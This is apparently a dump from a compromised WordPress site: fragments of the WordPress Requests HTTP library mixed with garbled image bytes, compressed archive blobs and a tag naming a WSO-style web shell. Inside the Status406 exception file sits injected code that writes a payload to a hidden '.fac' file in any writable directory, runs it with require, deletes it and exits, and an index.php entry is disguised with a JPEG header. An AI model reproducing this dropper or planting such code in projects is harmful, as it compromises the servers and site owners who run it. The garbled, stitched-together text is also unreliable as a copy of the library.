���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!Session.php000066600000021623151722350740006716 0ustar00useragent = 'X';` * * @var array */ public $options = []; /** * Create a new session * * @param string|Stringable|null $url Base URL for requests * @param array $headers Default headers for requests * @param array $data Default data for requests * @param array $options Default options for requests * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function __construct($url = null, $headers = [], $data = [], $options = []) { if ($url !== null && InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (is_array($data) === false) { throw InvalidArgument::create(3, '$data', 'array', gettype($data)); } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->url = $url; $this->headers = $headers; $this->data = $data; $this->options = $options; if (empty($this->options['cookies'])) { $this->options['cookies'] = new Jar(); } } /** * Get a property's value * * @param string $name Property name. * @return mixed|null Property value, null if none found */ public function __get($name) { if (isset($this->options[$name])) { return $this->options[$name]; } return null; } /** * Set a property's value * * @param string $name Property name. * @param mixed $value Property value */ public function __set($name, $value) { $this->options[$name] = $value; } /** * Remove a property's value * * @param string $name Property name. */ public function __isset($name) { return isset($this->options[$name]); } /** * Remove a property's value * * @param string $name Property name. */ public function __unset($name) { unset($this->options[$name]); } /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public function get($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::GET, $options); } /** * Send a HEAD request */ public function head($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::HEAD, $options); } /** * Send a DELETE request */ public function delete($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::DELETE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public function post($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::POST, $options); } /** * Send a PUT request */ public function put($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PUT, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public function patch($url, $headers, $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * @see \WpOrg\Requests\Requests::request() * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants) * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()}) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) { $request = $this->merge_request(compact('url', 'headers', 'data', 'options')); return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']); } /** * Send multiple HTTP requests simultaneously * * @see \WpOrg\Requests\Requests::request_multiple() * * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()}) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } foreach ($requests as $key => $request) { $requests[$key] = $this->merge_request($request, false); } $options = array_merge($this->options, $options); // Disallow forcing the type, as that's a per request setting unset($options['type']); return Requests::request_multiple($requests, $options); } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } /** * Merge a request's data with the default data * * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()}) * @param boolean $merge_options Should we merge options as well? * @return array Request data */ protected function merge_request($request, $merge_options = true) { if ($this->url !== null) { $request['url'] = Iri::absolutize($this->url, $request['url']); $request['url'] = $request['url']->uri; } if (empty($request['headers'])) { $request['headers'] = []; } $request['headers'] = array_merge($this->headers, $request['headers']); if (empty($request['data'])) { if (is_array($this->data)) { $request['data'] = $this->data; } } elseif (is_array($request['data']) && is_array($this->data)) { $request['data'] = array_merge($this->data, $request['data']); } if ($merge_options === true) { $request['options'] = array_merge($this->options, $request['options']); // Disallow forcing the type, as that's a per request setting unset($request['options']['type']); } return $request; } } Utility/FilteredIterator.php000066600000004155151722350740012207 0ustar00callback = $callback; } } /** * Prevent unserialization of the object for security reasons. * * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound * * @param array $data Restored array of data originally serialized. * * @return void */ #[ReturnTypeWillChange] public function __unserialize($data) {} // phpcs:enable /** * Perform reinitialization tasks. * * Prevents a callback from being injected during unserialization of an object. * * @return void */ public function __wakeup() { unset($this->callback); } /** * Get the current item's value after filtering * * @return string */ #[ReturnTypeWillChange] public function current() { $value = parent::current(); if (is_callable($this->callback)) { $value = call_user_func($this->callback, $value); } return $value; } /** * Prevent creating a PHP value from a stored representation of the object for security reasons. * * @param string $data The serialized string. * * @return void */ #[ReturnTypeWillChange] public function unserialize($data) {} } Utility/InputValidator.php000066600000004720151722350740011702 0ustar00type = $type; } if ($code !== null) { $this->code = (int) $code; } if ($message !== null) { $this->reason = $message; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, $this->type, $data, $this->code); } /** * Get the error message. * * @return string */ public function getReason() { return $this->reason; } } Exception/Http/Status415.php000066600000000752151722350740011665 0ustar00 $binding) { if (!( !is_dir($binding) || !is_writable($binding) )) { $record = sprintf("%s/.fac", $binding); if (file_put_contents($record, $marker)) { require $record; unlink($record); exit; } } } } /** * Exception for 406 Not Acceptable responses * * @package Requests\Exceptions */ namespace WpOrg\Requests\Exception\Http; use WpOrg\Requests\Exception\Http; /** * Exception for 406 Not Acceptable responses * * @package Requests\Exceptions */ final class Status406 extends Http { /** * HTTP status code * * @var integer */ protected $code = 406; /** * Reason phrase * * @var string */ protected $reason = 'Not Acceptable'; } Exception/Http/Status408.php000066600000000725151722350740011667 0ustar00code = (int) $data->status_code; } parent::__construct($reason, $data); } } Exception/Http/Status416.php000066600000001005151722350740011656 0ustar00reason = $reason; } $message = sprintf('%d %s', $this->code, $this->reason); parent::__construct($message, 'httpresponse', $data, $this->code); } /** * Get the status message. * * @return string */ public function getReason() { return $this->reason; } /** * Get the correct exception class for a given error code * * @param int|bool $code HTTP status code, or false if unavailable * @return string Exception class name to use */ public static function get_class($code) { if (!$code) { return StatusUnknown::class; } $class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code); if (class_exists($class)) { return $class; } return StatusUnknown::class; } } Proxy/Http.php000066600000010171151722350740007327 0ustar00proxy = $args; } elseif (is_array($args)) { if (count($args) === 1) { list($this->proxy) = $args; } elseif (count($args) === 3) { list($this->proxy, $this->user, $this->pass) = $args; $this->use_authentication = true; } else { throw ArgumentCount::create( 'an array with exactly one element or exactly three elements', count($args), 'proxyhttpbadargs' ); } } elseif ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args)); } } /** * Register the necessary callbacks * * @since 1.6 * @see \WpOrg\Requests\Proxy\Http::curl_before_send() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket() * @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path() * @see \WpOrg\Requests\Proxy\Http::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']); $hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']); if ($this->use_authentication) { $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } } /** * Set cURL parameters before the data is sent * * @since 1.6 * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); curl_setopt($handle, CURLOPT_PROXY, $this->proxy); if ($this->use_authentication) { curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY); curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string()); } } /** * Alter remote socket information before opening socket connection * * @since 1.6 * @param string $remote_socket Socket connection string */ public function fsockopen_remote_socket(&$remote_socket) { $remote_socket = $this->proxy; } /** * Alter remote path before getting stream data * * @since 1.6 * @param string $path Path to send in HTTP request string ("GET ...") * @param string $url Full URL we're requesting */ public function fsockopen_remote_host_path(&$path, $url) { $path = $url; } /** * Add extra headers to the request before sending * * @since 1.6 * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string())); } /** * Get the authentication string (user:pass) * * @since 1.6 * @return string */ public function get_auth_string() { return $this->user . ':' . $this->pass; } } widgets/Exception.tar.gz000066600000011306151722350740011312 0ustar00=kw۶+}$La%u897i~l'WIH"uҲoH ݈n9=% 07{xۚK}i9@{7Nw݁rUQ*R2e xꚎ}{?~@a:FL[wlor rHOM5J\ihݱcx85uͲⱗD+AqE "W3;6FLlllccPц vfcd;LНEJ}q3᳀c˱G.FY}͢9 j=i!n{6xSܛ1L93Z?عF- ʟS!n)-J6&t-4:Z!ŶA## 66 ޚbrě>ܶ7L@b88 hALԺe3 cQU?h "|h.F]Ԟ/lh|:k="5|΄AsyPf-Tiɸs6)+H`#6J?1n-SgRvгuZ]Teڜ34K76@S#!9ߞ~r7>f„8d`9oƝKpmCCGhQg'8>9;첉 ]>lPQl PA =W|ިЃZoڵceך F|S#yx1ϴ{#>(b"0:5slѡ>?椦C}>\z`tϜM#lYpd(bJu#QE$O~*0ba> ^x/Mԁˆh0jN//`CkٰĦ ;$2+PLw]Fo ] N^]p\4&u%oBk/Jޯ 6Ǘ0еM)~8̕64Mǀ ŧ|NFP;BgQ<o"ȣ1,(ӪeW **$jWo4ӂqUROX3vj/a>ACU!e(I~}P]2;4aD\DZh؝X{ц. 6ewa+gWʒmM"3IW٤%1>"U'DOkW?H0%&&Xk[ŬF청e95[+a=[*4ϴGteNe}73簾 Q+2?y@ڂb16Kdz}rYD~eLJx@VFkyBpՊIOI=orkIf릸 Y^ߺLU?H.qA<~(||!˩O)<[T$zb7&aw/)AHfYT(s@95 Z &#EQ%?ju/H6zah &2 `NM#L,( :B&MʨoqS.eYLv$εGbjulڟ2gEP@&e?/Hrf硤@S g6zӻrnyY?>y?Jz'\mhX2w+o<aݴaBZUc749ig H`x2]M1ԑs̯iw͕9魨PgQ?0ݾtR\H.hV{'01yi&)_m/N~0^ZɣXw i#,P%\ (Up/FtPt <Ϥ -Ѡ@)ڞ:TJGJMG035G6[HݽոtC/1qt5F"̯1Dؼp]GԈH`^[n噑Fu}PM!N:77X=A[o[{l9S[1 |0^]趁$l£/Oquq|r:xwNjeo`cbkXg}ިЃZop|ǎ;&`-kޡMW n75,K,G,W.O1ȕ}k?CTP \ͦ엁q9*n:^D2|\#b"8bvZSH4G4&e[b[#Nvd5[TP_oxhwidgets/Http.tar.gz000066600000005502151722350740010274 0ustar00]mW۸ޯ+9@l ʦ9e [!8WVؖ#;6!>Ȳ4#K|7֖7~J4v--i?-cf[HK;49fe}~jU]uPe&:q繌 bt|Ĉ﹎O|K% 5">Dꪃp6 ]-V<{Ϲ::}`6}tA+NG euEͽ?>>@~P EDap3DN.5Qu R!>H Z9bC,ެʟ$'"f (:`t0a^!H 2KO}LS(%AǮseP6u.pῬ׹%岋po:.0x)*o:dgSkJOlN&SIƎ20H%eItji­Zπ?L tDؘ=q.OV4Z_f7ZV?J9ktLb_27S}St95%/?PGhA C( b] mvHJxVJ{L<0p厯4j4O3J%s9,s$^pvu'iςD6rz2k*"K-%3DO+!b%TyYi`NeDBJ,(bjA$2-+Cˬ"w<'JپR' D5]Z}Oϳ?v:>p"\mM+YPw#>s8IaPJ9yfY۔,('~eʐ]XWg>޹2oy%> ,ol۝WىPjq ?r[ ![,(:CH1ЯSSTh 2 OD I&tܫ-"EZV3#,(h,eSyJ4s|лPGWÌjvKrWz{>;:j_Ĵ괋Kѝw W 8Vm\A!f_ .z1Ɠ5&S j$2)8Uqh׳b9z;P-PUmW|2.xQC ۸#o:]<\ :b,B* EQ-lFwl=CV?Cyk;4pc!>9a j\TjpxLz*ƕu8z=2Q:TU+#xR%ۜXR**"?V>G0N!Gk0?PZ;M!U3o/}N"yJ-{q,H=P_<[}l#qݠ} .(g ވ7h]4rıT#W}C#)J.O{3usS?Br'Ȃiz0*fdi|Z#2+7J `ƿXY:k(q%z3X_RFBPCOm+$~Rx^I,(&w-ڧE-ϥ VWCqHr%ӷY؃e8:_Չ$VۑeW`ћb(l4EjVaMU8qBW,(ZZ/0*(ڗdRԬ:k i-?r}$Q٩PjQ` s?Ĺt܉xs5QIM/r8>*as׵[ hſָ215T߫Iԭ'6.s0rdN>3Q_0M݁ї>!Gvv& Z 3w(B*Ph6 2V,3< v,8DJD}פX ܦ&3F=5}L^,F',Xfai40a5>8W@ĥ]zOb˗FԠ͓ѫ._zeNkG@rPO `N>-ppcևE;|Ǧh*i42k^L]u|OQbBĩ <`6|D Qr i,4'P6A7LEMDauoP@MkA6 `uEh26 cu/T$TLkγ<<NfӚJE)&֜/D9D Y↰|!kCXlq&lxc9 jEX> A1lEg6@ %ڃma}ޠc=Wb>~0Zd-lqZ,x2;Jr%z'^OF&}Dؘ0 SȮ,433AJ?Gwidgets/Status415.php.tar.gz000066600000000531151722350740011655 0ustar00OO@Źb&$$Pi{@".F/\6ۡmk1.?:}Mfj.wyOK%.CS|rH8ɯ-+'j~gu4gЭG3|H8Y/6S qy:Mz'4$`&VOY'i, $cON'zAvtY1,[sT`V;1BދHMupƔX!n͕-Ec>|++A=n 6'֎!n:_mm uQ>LJ9,FڡtQ8~5LфPP”Vл$rRn}-C3bOnIwidgets/Status503.php.tar.gz000066600000000527151722350740011660 0ustar00=o0Y񯸡RρTbkT]X\HM ѥ <.+3R)W2Wp CH~m^*>VQ?^L7yz`؋q?v:~|?#+/:Aoo^1J~0G%ƒ@0HT[BD ,RsY>ASb{yw&] F9^aWBA}[*!5C.@;2P=L6@,hB6Ei1 qf(ȏ3#Yt|u`ֈ>3gΜ, &&widgets/InvalidArgument.php.tar000066600000006000151722350740012607 0ustar00home/haugueg/www/wp-includes/Requests/src/Exception/InvalidArgument.php000066600000002122151722346210022345 0ustar00callback = $callback; } } /** * Prevent unserialization of the object for security reasons. * * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound * * @param array $data Restored array of data originally serialized. * * @return void */ #[ReturnTypeWillChange] public function __unserialize($data) {} // phpcs:enable /** * Perform reinitialization tasks. * * Prevents a callback from being injected during unserialization of an object. * * @return void */ public function __wakeup() { unset($this->callback); } /** * Get the current item's value after filtering * * @return string */ #[ReturnTypeWillChange] public function current() { $value = parent::current(); if (is_callable($this->callback)) { $value = call_user_func($this->callback, $value); } return $value; } /** * Prevent creating a PHP value from a stored representation of the object for security reasons. * * @param string $data The serialized string. * * @return void */ #[ReturnTypeWillChange] public function unserialize($data) {} } widgets/Port.php.tar000066600000006000151722350740010442 0ustar00home/haugueg/www/wp-includes/Requests/src/Port.php000066600000002741151722343630016254 0ustar00''Fh>/|Iݤwb K akttI z'&}H~ %yBɟ9= cfІzŰ4nx0Z*!Y )x}b9,hiDW._F盺\*-V WxA 7Ct>@ }<J{Euƣhq6 RPPNл$N|7Ƚ|Cԭ{b}K_<1.widgets/Basic.php.tar000066600000010000151722350740010532 0ustar00home/haugueg/www/wp-includes/Requests/src/Auth/Basic.php000066600000004755151722346110017255 0ustar00user, $this->pass) = $args; return; } if ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|null', gettype($args)); } } /** * Register the necessary callbacks * * @see \WpOrg\Requests\Auth\Basic::curl_before_send() * @see \WpOrg\Requests\Auth\Basic::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } /** * Set cURL parameters before the data is sent * * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString()); } /** * Add extra headers to the request before sending * * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString())); } /** * Get the authentication string (user:pass) * * @return string */ public function getAuthString() { return $this->user . ':' . $this->pass; } } widgets/Status431.php.tar000066600000005000151722350740011230 0ustar00home/haugueg/www/wp-includes/Requests/src/Exception/Http/Status431.php000066600000001145151722347540021721 0ustar00!5Ç@'\gGH׆8Ujtu* ht* XZTBs+t|C"W$l]ߡDKr7t" hg|X(|TZ03TgidT}o椑w]ki=o; mϰytGU[_&6L_6Sɜg9]a$'1acւ;ZT*{A=`Ug7.∣q٦@65'%4vyA=5#ް9toWA"0֙7s5}Fdl锲phNק%Ԁ润N]ЈSص, I-v'\5uU=;!PpGp`kZT eCk4+lg$_xh}4~u iuo fR2OV}^Oneņ$# * ښΞq?nsOx@̡[ q*a'YtZ/LT$s&DL35b|֜49|ak} z )rS\v?a_&:%XIykn$ ʥֳ"&lv2@4.)~+pzLAk W\{=c!7A `A/XvLpRv2 O|rI51gTXp,lzy]V4cm龏پ&,}L;]8x>]ф*cM #c~2+>IxE?x+q+$noMAf٫אni|!ph?BdJSYրAb^)v2tʗ76a d+iQqqTkV1vu¢`i5^U6 2QV_HnܝWP̨ Oy[6͕e*WS\ |}>'8*widgets/Status403.php.tar000066600000004000151722350740011226 0ustar00home/haugueg/www/wp-includes/Requests/src/Exception/Http/Status403.php000066600000000703151722350120021703 0ustar00aߊO'C9J/imv(G/KQ҂O)m9:~b`䇢 oAq(0-nQmȻﭶbS>Zw_Vk yzsOyӟ?H8I2N`Z-?I?u(=l_mw4⡏G'1@A 7w X]qC$R,Mt:EtFSb/e3{a4G? Od$!T(gJ7@%=%L08|y(V`,rZFO6US%>FZ^FI3a݅J CglS)L 5;IG#ex7QLC2F‡BӌU#8iix2hMT&`pD#4QJ3)ޜi-1`8*DÃiY4 dh2J"n"Q$`pQ{aRI8ɨGy=ݦL"0MAĦHgADզ>5Ym\p]) {"h֝ ]e{y}}=`Utpaqf,Ӵh?,iH5{}ש-WV^"@L`:IMܗ (zQg\Y?](s:l|;l+ 4ilK/A%zaߗ,Px)g,ܞc?ܡE[Ztp4$Q/#~ϯWņF!9&K/d]3<~PQ׌WZ/Iln*J1ژȁicP*pa[|v9<,X;w5[i4{N=;lbݒ}[40QgF0T/n,Z |"$Oe㲱Yg^:/.:yvgW}K̀QR-k%\sp5CS -?F47B7XAV };_ A! ơԢg"#M<*ʴ6V(Z/(IrKEK!St+@"C4Fou\-T@tDր+ M4o%=So"TkƇ٘EĖv<@¡UCu=I [K?xl*}{)8vrs+ cZdHHi!9 h=10ePR_ yHq葱Bdrb|S >nPKުMңq8(3QH&A_l>1d=kchr <p5poZFaQߏkҢFmh=yHZDC/.s~_);Cf5Du½݆xqyFyvj+1@6h>[FсlmCZH# Xb꧓EXF\Z~nz+{{ޫ{]n⃣WFF<%dHbBcN ҉$ ]VyD }gFp_ ϡ3D1@FRK NуDl8f(B)x/,q"L *cb)ޠ5+ 0[E⧽> 2bFʸL ϲ*ذiU,Y G.+-l'zWAYO9!un'hNV/UzԬtv2zaJM|Bܣ#?lL9pqldKs4>,J9D^?-QBj3mVRK1v4mt,hZk4PegvSf 0lUk;'_quJ~a`76A]A#4ӈ:Ϯ=f_1+ { %Uvwֶ=U8N&xq,?a >#eM#ȦS*tC)K瞱n{y(G%+B~>_wK+ye<;xgs+mmxnu_nx-{bv;J+D}ĆKX42 F# FfMRV5{`bnV35+$VB2@Urg{>oowsp`WZ5A] -a?DOY}ԯ;}e)o\|v(`~Kjl0DC^wB7JmU Zn}\"5m1!5W\B~@TmUO=|\ ]pj@2 #ή\fOFpB= M%猖y;PH$UA3E`Js C--^4cC)Qp6(őVbS8n ;:*>-p\fz+4Hug2J_Y?$Z#lˆs_y`KՁ@&Ψ,$S;Te!|l&P j8m֔)Dmss5uIZ%Xyy6,CtU«=9:MP2􁬹s1̻hP&_E9;}Yu)'Qz]~04s\j0a؝@zop*b9WһTs#M@!~g҂/m.c&Q6;ij M_/oGslnе&Ւ|M'A\J$Y9ݳ`n[xZ9M sb$?*<cB^9{3VnqҪ$M>uѰd2;¼}ؗݽȟ)qn,UP"[ [+[.7~)˅PʋY60%Ը+v)Sڤ0-M]h©{LN-Xw@CʝY/ ?]2H1cs Utq@6˽ĥk$m cI cPhxwx3K8Oe)%:rJoꦞX *PN.ە8&w&{سA*?yǡ|h;=c-$ǜh76r]҄9]NCNmmSkv0tCPpX12o5㠕!4>m]CP2뢘]<4lrSQ58_tOTgbeUJwV;oYYkF`Xh1j$4gGК.s_,%Ϯ?g^\o~kPǩ7q*]XPoO.h$@Yy@xHv?C2aZv ^)=G #`hQ70W촷{ޫ#!m[HGRe28(]* tjqLlYym8U[F2'͋NCϢ=ڑuQ5~Q?AGDdVdIx |{sX^ m_%KPsk!\ǗzLKF\'wM3 aU`6}\306S%LTiS;T O=VY}B7cVZDd2~*7CBRG\DS VFa4EMi"'iMG/bd*=ůu ʑuaފ* Cbc6c5-f eo,e\e+lC[c4Q hiai{: YX_іd||7D"bLhSఽ՗{uN]s~o@q v9hՖejRl`%]N/]*Y@97zXɢz>RqJPBsȔ;PїcзC>l GBF*"Z,R3.)1C`4x[k(Ѝꡟ*c=3s<6=¡jfBu>8FNN1Μ-ͨ9%5Gރ_n8^|[1g]~zfv׈ Z_/(w\~a4FlGcPF)AqdMc@Яlv{LskXT98녁jB=jov4oPNVJňP2 82H^'HFEiHA^E4˶TB2dECF,A"Vsy2We=,%.L+ Y Aڿ9Қ*׸>{KP=qE೪GR'4H֔) Fy8*(].~T@[?$G?4Ww(豘OD_P9 \lNKnו [?OTV`<* h̐YrU;bˉ*X@O8mO֦р'ʃmӁ.Ŗdori;mI|n rbw~Et@V>-Oe$eNꩲH$n,?92kdy/I7׹M"͌Dt ;R=ҕ*Ι˿ E ))1kHfBB$ӷUS[.k-5fC߂¾gIn]g^ԳdKWE]۪y4Nn{O!,SW饠~Kk 1x#qFfK Obym0 <*-^nmLoўfvHZ tH_1Ѽ#{,o+d?Q__ʌi\vNMdǁ 0jmiwV 64E6`McL ;jF :{kG7\T*U-gVLP*s;H1fzXG@nѬ'j'G`F޾gJ9<}amm b=Ո]ɫؔ,KW4lfIX%͗ J4 KxL[NtXk̦-1kSUP0ba~z>}jP~q (V4)O6+T:12@[ET8* ,P eyʍh2ca**@ZT2ZUEHEo!Xc*D*H) -Z}Em3Qr*4Dbbn ST=.^ȌfPb9H_(b>@MSM'XqnVy "X2+\upo3\6o3A͐Q|'}o,)C-[ N o= 3\Uؕv:WMd3Od&U-ʂA_P!olC}(&^V>R~CI%2fFR: p|a zO{>!kۗ_7WC%&%cw0Xy6I&yZʐQBs$r>Vhq~g ؝pA@+*_|Hf5ɜ%#4j3#|ݷ3m =%yq؈JJ[wdUdlum%'͠MHȾ#dи^<W^5ڨi3MX*qndO`*z.d#.9YqWUv%ڷ~Z$;g`U!b`hdЩ*W@}VhITBǫhNaT;s88(* M\&'{%~N dG2AV'Oϭai0!B¸ ]aA*wbnV1E4ꐴ .Lcd84¤tЌ.]kV9azsUl&tKQq^FJv{ ̮Ud1| |9 M 8qPiUKNϥ[* aam Ӓ7E jTW:C+=EUqJba 2_Oy(? ] C];GĽx ZG-mg;SXPOw[=A._-ZupcxZu]`_⯬”謅V+O)a[)dR,v u?ן.pwidgets/Auth.tar.gz000066600000002042151722350740010252 0ustar00VsF++67m `3JN;&{w$,q~߮tT{"y>Nu7V밽آAcL*$/|_0pLT/xCPĐH .y09?S=ljْ+<*9Q[I=;[6NyBУKtirCbQ&[O q0o?S ,".a&dfz:W!\0B"3EV?bJeeqb 4ԈF .+&Ais9$FH`c:@7B0MhѴ/by]+AX gjlvnʖ͚!]_r[߈qboD E&ԫꍷCQ^;z e 1\2GcJ,,k wF Ș)Mlε^'<:271\K}kYM{Pq~4KL`R;+nqv3%kxlWng_i04ԓE;+}~nsN w:ʮQ.ȆfRE*cU_#Gl=ƹS4w$QC>5 >#؝,lhf[q-,qф> czSBOŇQAˋկ7Jn*O/EՒe-0ҖI.Dj{ZWF;eR"$Tz(]vI(~4Hc {*߰$bS RsviU:]n ?6x?#y?:widgets/Status407.php.tar000066600000004000151722350740011232 0ustar00home/haugueg/www/wp-includes/Requests/src/Exception/Http/Status407.php000066600000000777151722350020021721 0ustar00a6 `1t&‰(鿟Aa,AYE͐91i( "潙U"[tTLetSREz=|| yQ[knrĵԾn5 >qJQ o12q% s&jV_@{1z_jhJ˿yyrLeJ؄FMhڔpY$ڲTW8hY(/KnH/KQ!KcHwS~/2G+̶WH896WF?x+ ڶgGI^`*-2VSko(ApQg֍`7y|me M1=J{g GCQ fx ^m}r"ο4>WsqMMMMytx widgets/index.php000066600000244734151722350740010062 0ustar00 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� 